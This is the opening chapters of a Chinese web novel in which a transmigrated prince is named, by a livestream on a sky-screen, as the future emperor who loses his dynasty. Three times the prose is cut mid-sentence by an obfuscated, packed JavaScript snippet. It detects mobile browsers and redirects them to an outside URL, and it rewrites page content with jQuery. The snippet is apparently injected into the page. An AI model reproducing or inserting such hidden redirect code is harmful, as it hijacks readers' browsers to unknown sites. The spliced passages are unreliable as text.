《天幕说我是亡国之君》 1. 天幕初现 中秋宫宴,笙歌鼎沸。 殷澈坐在大殿最末席的角落里,努力降低自己的存在感。 他面前案几上的菜已经凉透,但他并不在意,只是小口啜着温酒,目光低垂,仿佛在研究青玉杯上的云纹。 身为大胤朝九皇子,殷澈深知自己的处境。 母妃早逝,外家势微,在众多皇子中,他既无显赫战功傍身,也无朝臣支持,更无父皇偏爱。 像一个透明人,一个被遗忘的影子。 若非这等宫宴必须全体皇子出席,他怕是连踏入这紫宸殿的资格都没有。 不过这样也好。 殷澈心中默默盘算。 再过两年,及冠开府,他就请旨去个富庶闲散之地当个藩王。不争不抢,种种田,搞点小发明,安安稳稳过完这辈子。 这是来自二十一世纪的理工科社畜,穿越十六年后得出的最务实生存方案。 “……今岁风调雨顺,实乃陛下仁德感天……”礼部尚书正抑扬顿挫地念着贺表。 殿中暖气熏人,丝竹悦耳。殷澈有些昏昏欲睡。 就在这时—— 毫无预兆地,整个紫宸殿的光线骤然一变! 不是烛火摇曳,而是仿佛有一层柔和的、非自然的光晕,自殿外高空洒落,穿透了琉璃瓦和雕花窗棂,将整个大殿笼罩其中。 乐声戛然而止。 贺词中断。 所有人都愣住了,下意识地抬头,望向那光源所在……并非任何灯具,而是殿外那片深蓝色的夜空。 “那、那是什么?!” 不知是谁失声惊呼。 只见夜空中,一片巨大的、半透明的光幕,正缓缓展开,横亘天际,几乎覆盖了小半个皇宫上空。光幕流光溢彩,边缘有细碎的光点如星辰般明灭,其巨大与清晰,让殿内每一个人都能看得清清楚楚。 “护驾!护驾!”侍卫统领的厉喝响起,甲胄碰撞声杂乱,一群带刀侍卫迅速涌到御阶之前,将皇帝和几位重臣护在中间。 皇帝胤成帝,年约四旬,面庞刚毅,此刻眉头紧锁,眸中惊疑不定,死死盯着那片诡异的天幕。 他抬手,制止了更进一步的骚动:“暂勿妄动,静观其变。” 皇子们、嫔妃们、文武百官,全都站了起来,仰着头,脸上写满了震惊、恐惧和茫然。 这超出了他们认知的景象,让这些平日里高高在上的人们,也感到了深深的敬畏与不安。 殷澈也站了起来,心脏在胸腔里砰砰直跳。 他比这些古人多了一重认知,这玩意儿,怎么那么像……全息投影? 还没等他想明白,天幕忽然波动了一下。 紧接着,一个清晰、悦耳,带着某种独特韵律和活力的女子声音,响彻在每一个人耳边。 不,是直接响彻在脑海中! 【Hello!历史爱好者们大家好呀。欢迎来到“阿月说历史”直播间。今天呢,我们继续“亡国君系列”的盘点。之前讲了夏桀商纣,说了隋炀宋徽,今天咱们要聊的这位,那可真是……独具一格,堪称帝王界的“散财童子”,败家界的“天花板”!】 声音活泼轻快,用词古怪,但奇妙的是,所有人都能听懂其意。 殿内一片死寂,所有人都被这“天外之音”震得魂不附体。 天幕上,随着话音,浮现出巨大的、龙飞凤舞的标题文字: 【史上十大败家亡国君压轴特辑】 下面还有一行小字: 【本期主角:胤哀帝 殷澈——专业送江山三百年】 “嘶——” 殷澈脑子里“嗡”的一声,一片空白。 哀帝?殷澈?送江山三百年? 开什么玩笑!我?亡国之君?还特么是压轴的特辑? 他感觉到自己全身的血液都冻结了,四肢冰凉。 他感受到来自御阶之上、来自皇子席列、来自百官方向,那一道道混杂着难以置信、骇然、鄙夷、幸灾乐祸、以及深深恐惧的视线。 “九弟?”坐在前排的三皇子猛地回头,眼神刮过殷澈的脸,“这……天幕所言,是何意?!” “荒唐!荒谬!” 一位须发皆白的老臣颤巍巍地指着殷澈,又指向天幕,气得胡子直抖, “妖言惑众!此乃妖异!陛下,此等不祥之兆,当立即将这……将这祸源逐出殿去!” 祸源。 自己是祸源。 殷澈脸色发白,他扯了扯嘴角,显些笑出了声。 胤成帝的脸色已经阴沉得能滴出水来。 他的目光掠过那刺眼的标题,最终落在自己那个几乎没什么印象的第九子身上。 少年身形单薄,脸色惨白,站在那里,显得孤立无援,甚至有些可怜。 但“亡国之君”四个字,像是最恶毒的诅咒,让龙座上的皇帝迅速冷下心来。 他的下任。 亡国之君……哈。 天幕可不管下方的混乱,直播仍在继续。 【没错,观众朋友们,就是这位,大胤王朝的末代皇帝,殷澈。他在位十年,成功地把祖宗攒了近三百年的家业,败得一干二净,将偌大一个王朝,亲手送进了历史的垃圾堆。其效率之高,手段之奇,心态之稳,堪称前无古人,后……嗯,暂时也难有来者。让我们先来看一段VCR,感受一下这位哀帝陛下的风采!】 光幕上画面一变,出现了快速闪动的片段。 宏伟的宫殿燃起熊熊大火,精美绝伦的器物被砸碎丢弃,堆积如山的金银被胡乱挥洒,衣衫褴褛的百姓在哭泣逃难,铁蹄践踏过破碎的山河版图……画面配着悲壮激昂又带点讽刺意味的音乐,冲击力极强。 “天哪……这,这是我大胤的未来?” “亡国……真的会亡国?” “都是因为他!因为这个九皇子!” 低低的议论声、惊呼声、抽气声在死寂后爆发出来,尽管压低了声音,却更显得刺耳。 许多官员看向殷澈的眼神,已经不再是看一位皇子,而是在看一个即将带来毁灭的灾星、一个王朝的掘墓人。 但开什么玩笑,他最初的想法只是苟命啊! 殷澈站在原地,大脑却在极度震惊后开始疯狂运转。 穿越?是,他知道历史可以改变。 金手指?等了十六年,等来一个“亡国君”现场认证直播? 自救?怎么救?现在全天下都知道未来亡在我手里了!谁还会给我机会? 【为什么说殷澈是散财童子呢?】 天幕女声依旧欢快, 【因为他干了许多看似匪夷所思的大事。比如,倾尽大半国库,征调数十万民夫,修建一座据说能上达天听的通天塔!劳民伤财,怨声载道,结果塔没修完,国库先空了三分之一。弹幕朋友们,来,让我们看看当时民间怎么评价这件事。】 天幕一侧,开始飞速滚动起一行行文字,字体较小,但清晰可辨,风格极其跳脱。 【理科生的浪漫你不懂!(狗头jpg.)】 【神特么通天塔,那玩意儿后来考古发现是个超前的天文观象台遗址!】 【超前有个屁用,当时就是瞎搞,老百姓饭都吃不饱!】 【败家子实锤了!】 【也不能全怪他吧,感觉他想法是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904291|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,就是太急了……】 【前面的,洗地的来了?亡国就是亡国,洗不白!】 这些“弹幕”内容让古人更加眼花缭乱,不明觉厉,但“劳民伤财”、“国库空三分之一”、“败家子”这些词,他们是懂的。 “竖子!荒唐!”户部尚书捂着心口,差点背过气去,“国库!老夫的国库啊!” 殷澈却死死盯着其中一行。 “……那玩意儿后来考古发现是个超前的天文观象台遗址!” 天文观象台? 他心脏猛地一跳。 【这只是开胃小菜哦!】天幕声音继续道, 【类似的操作还有很多,比如改革币制改到金融崩溃,比如重用一些奇奇怪怪的人才把朝堂搞得乌烟瘴气,比如在边境摩擦时选择怀柔结果养虎为患……总之,在他的不懈努力下,大胤这艘巨轮,终于成功触礁沉没。 好,今天的主讲就到这里,下期预告:哀帝身边那些助他败家的奇葩团队!感兴趣的朋友点点关注哦!我们下期再见!】 话音落下,天空中的巨大光幕开始缓缓变淡,如同褪色的水墨画。 几个呼吸间,便消散在夜色中,仿佛从未出现过。 只留下皎洁的月光,和一片死寂、冰凉的紫宸殿。 所有的目光,依然聚焦在殷澈身上。 胤成帝缓缓从龙椅上站起,他的身影在烛光下拉得很长,带着沉重的威压。 他看了殷澈许久,那目光复杂至极,有审视,有惊怒,有疑虑,还有一丝极深的忌惮。 终于,他开口了。 声音不大,却清晰地传遍每个角落,带着不容置疑的冰冷: “九皇子殷澈,言行……恐有干天和。即日起,移至北苑静思阁居住,无旨,不得擅出。一应起居,由宫中专人照料。” 北苑静思阁,那是皇宫最偏僻、最冷清的角落,近乎冷宫。 这是变相的圈禁。 两名侍卫立刻上前,一左一右站在了殷澈身侧,态度看似恭敬,动作却不容拒绝。 殷澈深吸一口气,压下心中的情绪。 他撩起衣袍,对着御阶方向,规规矩矩地行了一个大礼。 “儿臣……领旨谢恩。” 声音平静,甚至有些干涩,没有辩解,没有哭诉。 他知道,此刻任何言语都苍白无力。 “亡国之君”的预言是一把达摩克利斯之剑,在他的头顶上摇摇欲坠。 辩解只会显得可笑,哭诉更会让人鄙夷。 他直起身,在无数道目光的注视下。 那些怜悯的,厌恶的,漠然的,还有幸灾乐祸的。 他跟着侍卫,一步步向殿外走去。 背影单薄,却挺得笔直。 跨出紫宸殿高大的门槛时,夜风扑面而来,带着深秋的寒意。 殷澈抬起头,望了一眼重现晴朗的夜空,那里再无光幕的痕迹。 他的眼神,从最初的震惊与恐惧,逐渐沉淀,化为一片深不见底的幽暗,而在这处幽暗中,悄然升起一簇微小的火苗。 天文观象台…… 超前…… 亡国…… 自救…… 混乱的线索在脑海中碰撞。 “散财童子?亡国之君?” 他无声地咧了咧嘴,扯出一个近乎自嘲的弧度,用低到只有自己能听到的声音呢喃: “这开局……真是地狱难度啊。” “不过……” “想让我就这么认命?因为天幕的三言两语就去送死? 他垂下眼睫,遮住眸底的锋芒。 “休想。” 2. 冷苑幽禁 北苑静思阁,名副其实。 它坐落于皇宫东北角,远离任何主要的宫殿群落,紧挨着高大的宫墙。 院落不大,几间屋子因为常年无人居住,显得有些破败阴冷。 院子里杂草丛生,只有角落里一株老槐树,枝叶稀疏,在秋风中瑟瑟作响。 带领殷澈过来的老太监面无表情地交代了几句“殿下静心”、“缺什么只管吩咐”之类的套话,留下两个看起来老实巴交、但眼神警惕的小太监伺候,便匆匆离去,仿佛多待一刻都会沾染晦气。 厚重的院门在身后“吱呀”一声关上,还落了锁。 殷澈站在荒凉的院子里,观察着四周的环境。 这里与其说是住所,不如说是一个精致的囚笼。 “殿下,外面风大,进屋吧。” 一个小太监低着头,小声说道,不敢看殷澈的眼睛。 天幕降世,亡国之兆劈头盖脸砸下来,满宫皆传这位九皇子是灾星,连陛下都动了雷霆之怒。 换做旁人,就算没有哭天喊地的叫唤,也应会在走出紫宸殿的时候尿了裤子。 可偏偏这位殿下,只是面色自然,一步一步的走入这间暗沉的庭院。 小太监觉得他是不一样的,但是这种天灾,到底做什么才能躲过这必定的死局呢。 殷澈不知道背后那个小太监的心理活动,他点点头,走进正屋。 屋内陈设简单到近乎简陋,一床一桌一椅,一个旧书架,一个炭盆,里面还都是冷灰。 空气里弥漫着一股久未住人的尘土和霉味。 “去打些热水来,再领些炭火。” 殷澈的声音平静,听不出什么情绪。 两个小太监应了一声,一个忙不迭地跑去打水,另一个则犹豫了一下,才小心翼翼地说:“殿下,炭火……内务府那边,可能……需要些时间。” 殷澈了然。 墙倒众人推,他现在是“天定亡国之君”,谁还敢上赶着巴结?说不定什么时候皇帝想开了就送条白绫来了。 能按时送些粗茶淡饭,就算不错了。 “无妨,去吧。”他挥挥手。 小太监如蒙大赦,赶紧退下。 屋内只剩下殷澈一人。 他走到窗边,推开积满灰尘的窗户,望向外面高耸的、隔绝了自由与繁华的宫墙。 他想起了现代,想起了那时候对皇宫的评价。 四四方方的宫墙,困住了许多人的一生。 宫宴的一幕幕,尤其是天幕上那刺眼的标题、滚动的弹幕、还有父皇冰冷的目光和判决,如同走马灯般在脑海中反复回放。 亡国之君…… 这个标签,已经随着天幕的降临,死死焊在了他的身上。 在所有人眼里,他不再是一个无足轻重的皇子,而是一个行走的灾厄,一个明确的、会导致王朝覆灭的祸害。 恐惧、排斥、敌意,甚至欲除之而后快……这些都将是他未来不对,是现在必须面对的。 “真是……够刺激的。” 殷澈苦笑一声,揉了揉眉心。 但坐以待毙,从来不是他的风格。 上辈子卷生卷死搞科研,这辈子想躺平却遭天谴。既然躺不平,那就只能……卷起来了。 卷的对象,是这该死的命运,和那该死的“预言”。 他坐到那张硬邦邦的木椅上,闭上眼,开始梳理。 第一,信息差。 天幕提供了“未来”的信息,虽然是“原世界线”的亡国未来,但其中必然包含许多关键节点、人物和事件。 比如,那个通天塔,疑似天文观测台,弹幕说它“超前”,这意味着什么?意味着他未来的某些想法或做法,可能方向是对的,只是时机、方法或着条件出了问题。 第二,自身优势。 他是穿越者,拥有超越这个时代的科学知识、思维方式,哪怕只是常识都比古人知道的多。 天幕预言他是“亡国之君”,但没说他具体每一步怎么走。这就留下了操作空间。他可以用自己的知识,去尝试解决那些导致亡国的问题,或者,至少让自己显得“有用”,而不是纯粹的“祸害”。 第三,破局关键。 预言的力量在于人心的相信。 要打破预言,首先要改变人心,尤其是……父皇和那些关键朝臣的看法。如何改变?靠嘴皮子没用,必须拿出实实在在的、能让他们看见价值的东西。 “价值……”殷澈喃喃道,手指无意识地在积灰的桌面上划动。 天幕说他败家,说他劳民伤财修“通天塔”。 但如果,他能证明,他做的事情,并非无用,甚至是对国家有利的呢? 天文观象台……观测天象,修订历法,预报天气,甚至……导航? 一个模糊的想法开始在他脑中成型。 “殿下,热水来了。”小太监提着铜壶进来,打断了殷澈的思绪。 “放着吧。”殷澈睁开眼,看向这个叫小德子的太监。 小德子看起来只有十四五岁,眼神怯生生的,但做事还算利索。另一个叫小顺子,更沉默些。 “小德子,你怕我吗?”殷澈忽然问。 小德子手一抖,差点把铜壶打翻,噗通一声跪下了:“奴、奴才不敢!奴才伺候殿下,是、是本分……” “起来吧,我没怪你。”殷澈语气温和,“外面现在,都怎么说我?” 小德子低着头,不敢起来,声音发颤:“奴才……奴才不敢妄言……” “说吧,恕你无罪。我想听听实话。” 小德子犹豫再三,才嗫嚅道:“外头……外头都说,殿下是……是天降灾星,是来败……败大胤江山的。好多人都说,说陛下应该……应该……” 后面的话,他打死也不敢说了。 应该什么?应该杀了我以绝后患? 殷澈心中冷笑。果然如此。 “还有人提到通天塔吗?或者说,我……未来会做的其他事?”殷澈引导着问。 小德子想了想:“有……有人说殿下乱花钱,修没用的塔。还有人说殿下以后会用一些歪门邪道的人,把朝堂弄得乌烟瘴气……哦,对了,还说殿下以后会胡乱改钱法,把大家手里的钱都变成废纸……” “好了,我知道了,你下去吧。”殷澈挥挥手。 小德子如释重负,赶紧退了出去。 屋内再次恢复安静。 殷澈用热水简单擦了把脸,水温刺激着皮肤,让他的思维更加清晰。 “歪门邪道的人……” 他想起天幕下期预告,“哀帝身边那些‘助他败家’的奇葩团队” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904292|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这会不会是一个机会?天幕认为的“奇葩”,会不会是……不被这个时代理解,但却有真才实学的人才? 如果是,他能不能提前找到他们? 但这个念头暂时只能压下。 他现在可是囚徒,寸步难行。 当务之急,是获得一点点有限的自由,或者,至少是传递信息出去的机会。 靠什么? 他环顾这间空荡冰冷的屋子,目光最终落在书架角落,那里有些废弃的纸堆和旧书。 他走过去,拂去灰尘。 是一些过时的邸报抄本、几本蒙尘的《论语》《尚书》,还有几叠质地粗糙的空白纸,大概是前任住客留下的。 纸笔……或许,可以从这里开始。 他不能出门,不能见人,但他可以写。 写什么呢? 写一份奏折?为自己辩白?不,那太蠢,现在任何关于“预言”的辩白都苍白无力。 要写,就写点实实在在的、能体现他自身价值的东西。最好是能解决当前朝廷可能面临的、某个实际问题的东西。 什么问题? 他努力回忆穿越这些年来,零散听到的朝政议论。边关?漕运?赋税?吏治? 忽然,他想起前几天,似乎隐约听到两个路过的小太监嘀咕,说什么“南边雨水多,怕是要发水”、“河道衙门的老爷们又扯皮”之类的话。 南方水患? 现在是深秋,即将入冬。 按照一般规律,若夏季雨水偏多,河堤承压,加上冬季可能的凌汛……春季桃花汛时,危险系数会大增。 他不懂具体的水利工程,但他有基础的物理、地理常识,有在大数据常年推广下对民生问题的大致了解。 也许,可以写一份关于预防洪水的具体措施以及洪灾出现后该如何补救的操作? 不需要具体指明哪里,反正他也不知道,只需要提出一套基于现有信息进行分析和预警的方法论,以及几条通用的、超越这个时代思维的防洪固堤思路。 比如分流,减淤、预警机制。 如果运气好,这份东西能通过某种渠道,比如负责看守他的侍卫或太监,总有人可能为了利益或其他原因,愿意冒险传递送到某个真正关心实务、且有分量的人手中,比如工部或河道衙门的能吏,甚至……直接到父皇的案头? 哪怕被嗤之以鼻,当成疯子的胡言乱语,他也损失不了什么。 但万一,哪怕只有万分之一的可能,引起了注意…… 这就是他撬动命运的第一块石头,微小,却至关重要。 说干就干。 殷澈坐回桌边,铺开粗糙的纸张,拿起那支秃头的毛笔,蘸了蘸小德子刚才一起磨好的、质量低劣的墨汁。 他深吸一口气,将脑海中的零散知识,与这个时代可能的技术条件相结合,用尽可能简洁清晰、符合这个时代文书格式的语言,开始书写。 “臣某,谨奏。伏惟治水之道,在防患于未然。今据往岁水文及地理之势,冒昧推演,略陈管见,以备采择……” 窗外,秋风更紧,卷起院中枯叶,沙沙作响。 静思阁内,烛火黯淡。 少年皇子的影子在斑驳的墙壁上摇晃着。 这只是第一条路,第一条,求生之路。 3. 天幕二现 殷澈在静思阁的生活,规律而枯燥。 每日粗茶淡饭,无人问津。 除了送饭和定时清扫的小德子和小顺子,他几乎见不到任何人。院门终日紧锁,侍卫把守,隔绝了他与外界的一切联系。 那封关于防洪建议的奏疏,他用了三天时间反复斟酌修改,力求逻辑清晰、建议具体,同时不过分惊世骇俗。 写完后,他将其小心藏在床板的缝隙里,等待机会。 机会迟迟未来。负责看守的侍卫和太监显然被严厉警告过,对他的态度恭敬而疏离,绝不多说一句话,更别提替他传递东西。 殷澈也不急,他现在每天大部分时间都在看书。 那些旧书和邸报被他翻来覆去地看,即使打发时间,又是在梳理自己对如今朝代的情报。 剩下的时候,他就在院子里踱步,观察那棵老槐树,仰望四方的天空,在脑海中推演各种可能性和计划。 他在等。 等一个变数。 或许是外界的舆论发酵到某个临界点,或许是朝廷发生什么大事,又或许……是天幕再次降临。 他有一种预感,天幕不会只出现一次。 那个“阿月说历史”的直播间,明显是一个系列节目。 果然,在他被圈禁的第七日黄昏,变数来了。 天空的光晕再次毫无征兆地亮起,比上一次似乎更清晰一些。巨大的光幕在夕阳余晖中展开,那个熟悉的、充满活力的女声再次响彻天际。 【哈喽!亲爱的观众朋友们,欢迎回到“阿月说历史”!上期我们预告了要讲哀帝殷澈身边那些神奇的“亡国天团”,是不是很好奇?别急,在正式开讲前,我们先插播一个轻松(?)的小单元《哀帝骚操作集锦1:通天塔,理科生的浪漫与现实的残酷》!】 皇宫内外,京城之中,无数人再次被惊动,纷纷抬头望天。 静思阁院内,殷澈猛地站直身体,仰头望向光幕,心跳加快。 来了!关于通天塔的细节! 光幕上开始播放动态画面。 无数民夫在监工的皮鞭下,搬运着巨大的石料。 宏伟的塔基正在夯筑。穿着亲王服饰(后来是皇帝服饰)的“殷澈”在现场指指点点,神情激动。 然后是堆积如山的钱粮消耗图表,以及衣衫褴褛的民夫疲惫麻木的脸。 【看!这就是哀帝同志心心念念的通天塔工程!】 解说声音带着调侃,【倾举国之力,修一座在当时看来纯粹是面子工程、劳民伤财的巨塔。史书记载,为此征发的民夫超过三十万,耗银千万两,粮食不计其数,直接导致国库空虚,民生凋敝,怨声载道。妥妥的亡国前兆啊朋友们!】 画面配合着悲情的音乐和民夫哀嚎的音效,极具煽动性。 紫宸殿方向,以及京城各处,肯定又响起了无数对“九皇子/哀帝”的唾骂和谴责。 殷澈的手心微微出汗。他知道,自己头上的败家帽子又被扣实了几分。 但紧接着,天幕话锋一转。 【不过呢——】女声拉长了调子, 【后世考古学家和天文史学家,在对通天塔遗址进行发掘研究后,却有了颠覆性的发现!让大家看看这个……】 画面切换,变成了一个充满科技感的现代实验室场景,几个穿着白大褂的人正在操作高端仪器,分析一些从遗址出土的石头构件、金属残片和刻有奇异符号的泥板。 【经过碳十四测定和结构分析,专家们震惊地发现,通天塔的主体结构,居然蕴含了极其精密的数学和天文学原理!它的朝向、角度、内部通道设计,甚至某些残留的观测装置痕迹,都明确指向一个功能——大型天文观象台!】 【也就是说,哀帝殷澈,很可能不是单纯在发疯或者败家,他是在尝试建造一个当时技术条件下,近乎奇迹的、用于观测星象、修订历法、甚至可能进行大地测量的超级工程!其理念,超前了时代至少两百年!】 光幕上出现了复杂的结构解析图、星空模拟图,以及将“通天塔”设计与后世著名天文台的对比图。 【惊不惊喜?意不意外?】 解说声音带着感慨, 【一个被骂了千百年的亡国昏君,其核心‘罪证’之一,竟然可能是一个壮志未酬的超级科学项目?当然,我们也要客观地说,想法超前是好事,但不顾国力民情,盲目上马,手段粗暴,最终酿成悲剧,这口锅,哀帝还是得背一大半。】 这时,弹幕又开始疯狂滚动: 【卧槽!反转了?!】 【理科生泪目!穿越者实锤了吧!】 【超前有屁用,步子太大扯着蛋。】 【所以是时代的悲剧?】 【有点心疼了怎么回事……】 【心疼+1,感觉他是个理想主义的倒霉蛋。】 【技术理念是好的,但政治手腕为零。】 【话说,他要是换个方式,比如先搞点小实验,培养点技术人才,会不会不一样?】 【历史没有如果啊。】 殷澈屏住呼吸,目不转睛地看着那些弹幕,尤其是关于“超前”、“理念”、“换个方式”、“培养人才”的评论。 心中的那个念头,越来越清晰,越来越坚定。 “天文观象台……超前理念……不顾现实……”他低声重复着,“所以,关键不是‘做什么’,而是‘怎么做’。” 天幕还在继续,开始介绍所谓“亡国天团”的第一个疑似成员,一个因为钻研奇技淫巧而被贬黜的工部小官,画面和描述都很简略。 但殷澈已经没心思细听了。他的大脑在飞速运转。 天幕的第二次降临,并没有把他打入更深的深渊。 反而像在无尽的黑暗中,为他撕开了一道细微的裂缝,透露出细小的光芒! 这些光芒就是。 他未来的一些“荒唐”行为,本身是有价值的、甚至是先进的!只是被错误的时间、错误的方法和残酷的现实所扭曲、所埋葬。 那么,如果他能够证明,他现在就已经拥有这些先进的理念,并且能够以更合理、更务实的方式去运用它们呢? 如果他能证明,自己不是“灾星”,而是一个潜在的、能够解决实际问题的“人才”呢? 那封关于防洪建议的奏疏,它的意义骤然升高。 它不仅仅是一份建议,更是一份样品。 一个展示他不同于寻常皇子、拥有先进思维方式和有用知识的样品! 他必须想办法把它送出去! 就在殷澈心潮澎湃,苦思冥想如何突破眼下封锁时,静思阁的院门,突然被敲响了。 现在不是送饭时间。 小德子跑去开门,门外站着的不再是日常看守的侍卫,而是一个面白无须、气质阴柔的中年太监,身后跟着两名低眉顺眼的小内侍。 殷澈认得他,御前副总管,王德安。一个在宫中颇有分量的人物。 王德安走进院子,目光扫过荒凉的景象,落在殷澈身上,脸上没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904293|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情,只是例行公事般微微躬身:“九殿下安好。” “王公公。”殷澈不动声色地回礼,“可是父皇有旨意?” 王德安直起身,声音平稳:“陛下口谕:北地边镇送来急报,今秋少雨,冬草不丰,恐今冬明春,草原部族南下寇边掠粮。着各部议应对之策。陛下念及皇子皆需历练,特命所有皇子,三日内,可就边防粮草转运、边镇武备等事,各陈己见,写成条陈,密封递入宫中。陛下将亲自阅览。” 殷澈心中猛地一跳! 机会!天赐良机! 边关粮草转运、武备……这虽然不是他专长,但现代物流管理、后勤优化的概念,他多少知道一些皮毛! 更重要的是,他可以借此机会,将那封关于防洪的奏疏,以“附件”或“引申思考”的形式,一并呈上去! “儿臣领旨,谢父皇恩典。” 殷澈压下心中情绪,恭敬应道。 王德安点点头,又道:“陛下另有口谕:九皇子殷澈,于静思阁中,当闭门静思己过,深省天幕警示。然皇子进言乃本分,特许此次上书之权。条陈写就,交由咱家即可。” 说完,他意味深长地看了殷澈一眼,补充了一句:“殿下,陛下……正在看着。” 这句话,一语双关。 既是说皇帝在关注此事,也是在提醒殷澈,他的一切言行,都在皇帝的监视之下。 殷澈心中凛然,但更多是振奋。有这句话,意味着他这次上书,大概率能直达天听! “多谢王公公告知,殷澈明白。”他郑重说道。 王德安不再多言,转身离去。院门再次关上。 殷澈站在原地,夕阳的余晖透过老槐树的枝桠,在他脸上投下明暗交错的光影。 天幕带来的污名尚未洗刷,甚至可能因这次天幕而更甚。 但一道狭窄的、却真实存在的缝隙,已经出现了。 皇帝给了他一个“考试”的机会,一个展示“己见”的通道。 他要交出的,不能只是一份关于边事的普通条陈,那不足以引起重视。他要交出一份能让皇帝、让某些有识之士,看到不同,看到价值,甚至看到希望的东西! 边关后勤与南方防洪,看似不相关,但核心都是资源调配与风险管理。 他可以尝试将现代的一些系统思维、效率优先的理念融入其中。 更重要的是,他要通过那份防洪建议,隐晦地传递一个信号。 我,殷澈,看待问题的方式,或许与众不同,但并非毫无根据,而是基于某种“格物致知”的尝试。正如那天幕隐约揭示的,我的某些荒唐操作,内核可能是超前于时代的先进。 这很冒险。可能会被当成狡辩,或者更坐实了不务正业、奇技淫巧。 但不冒险,就只能在这静思阁里,等着预言一步步实现,或者等着哪一天被以绝后患。 殷澈深吸一口带着寒意的空气,转身快步走回屋内。 “小德子,多点两盏灯。小顺子,再磨墨,要浓些。” 他的声音平静,却带着一种不容置疑的决断。 窗外的天色彻底暗了下来,星辰开始在夜空中浮现。 静思阁内,烛火通明。 少年皇子再次伏案,但这一次,他的笔下不再是孤独的尝试,而是承载着逆转命运第一步的、沉甸甸的希望。 殷澈写得很慢,字斟句酌,将超越时代的灵光,小心包裹进符合当下认知的言辞之中。 夜风吹过宫墙,如泣如诉。 4. 天赋初露 静思阁的夜色比往日的更沉。 殷澈伏在唯一的旧木桌上,手腕悬空,笔尖在粗燥的纸张上快速移动。 烛火很亮,但是劣质的灯芯仍不断爆出细小的火花,映得他脸上光影摇曳。 他面前摆着两样东西。 左边,是刚刚完成的一份与边关布防北地边镇相关的条陈梳理。 笔迹工整,格式严谨,引经据典,条分缕析,从沿途驿站承载力、车马损耗概率、防冻物资储备,到兵械养护周期、戍卒轮替建议,无不细致。 任何一个正经读过书的皇子大概都能写出这样的奏对。 稳妥,但不出彩。 右边,是另一叠纸,墨迹有新有旧。 旧的是他前几天写的防治水患的内容,至于新的…… 是他一个时辰前写的。 标题名为《据天象水文推演江南诸郡春日防洪刍议及备灾疏》。 这一份,笔锋截然不同。 没有骈四俪六,没有“臣闻”“伏惟”,开篇便是直白的图表和数据推演。 “一、往岁同期雨量记录(据户部存档及地方志)……” “二、今秋江水水位较常年均值高出尺许(据工部旬报)……” “三、金陵至扬州段堤坝上次大修时为景和十二年,迄今已逾十五载,夯土老化率预估……” 他甚至画了一张简陋的河流剖面示意图,标注了可能发生管涌的薄弱点,以及建议的加固方式。 用竹笼装石沉底阻流,以柳枝捆扎护坡,这些都是在现有技术条件下,成本最低、见效最快的土法。 最后,他提出了一个在这个时代还没有出现的建议: “可否于沿江高地,择稳妥处,设简易望楼,配铜锣、焰火。遇险情,白日举烟,夜间燃火,鸣锣示警,令下游民户得提前半日疏散避险?” 这是一个粗糙的预警系统雏形。成本极低,但若真能建立,或许能救下成千上万的性命。 他知道这份东西风险极大。 它太异类了。 不像皇子奏对,倒像是个技术官吏的笔记。 它引用了各部公开的零星数据,暗示自己这个之前默默无闻的皇子其实是在关注朝政的。 更重要的是,它在试图预测天灾。 成功了是侥幸,失败了便是妖言惑众,动摇民心,与天幕里的哀帝如出一辙。 但天幕透露的通天塔让他下定了决心。 自己为什么会在登基后做的第一件大事就是修建一个如此劳民伤财的建筑。 是不是因为当时他不得不修。 不过现在想这些也没有意义。 那既然未来那个败家工程,内核是个超越时代的天文观测台,那么他现在做的这些“奇技淫巧”,是否也可能蕴含着未被理解的真正价值? 他赌的,就是皇帝那深不可测的帝王心术中,或许还存有一丝对实用的衡量,以及对预言本身的不完全信任。 将两份文书仔细封好,在封皮上工整写下“儿臣澈谨奏”,他唤来小德子。 “明日王公公来时,将这个交给他。” 殷澈的声音平静无波, “记住,是两份,一并呈上。” 小德子捧着那叠不算厚的奏疏,手有些抖,仿佛捧着烧红的炭。“殿下,这……” “去吧。”殷澈挥手,吹熄了烛火。 黑暗中,他躺在那张硬板床上,睁眼看着房梁上模糊的阴影。 这是一颗石子,落入水潭的第一颗石子。 它会掀起波澜的,殷澈相信,他闭上了眼睛。 *** 翌日,文华殿侧殿。 景和帝殷稷并没有在正殿处理政务,而是待在更私密些的暖阁里。 炭盆烧得正旺,驱散了深秋的寒意,但他眉宇间的沉郁,却比窗外天色更浓。 天幕带来的震荡远未平息。民间已是谣言四起,朝堂暗流汹涌。 废太子的呼声在部分老臣中若隐若现,几位年长皇子背后的势力也开始蠢蠢欲动。 而这一切混乱的源头,都指向了他那个原本透明得如同不存在的九子。 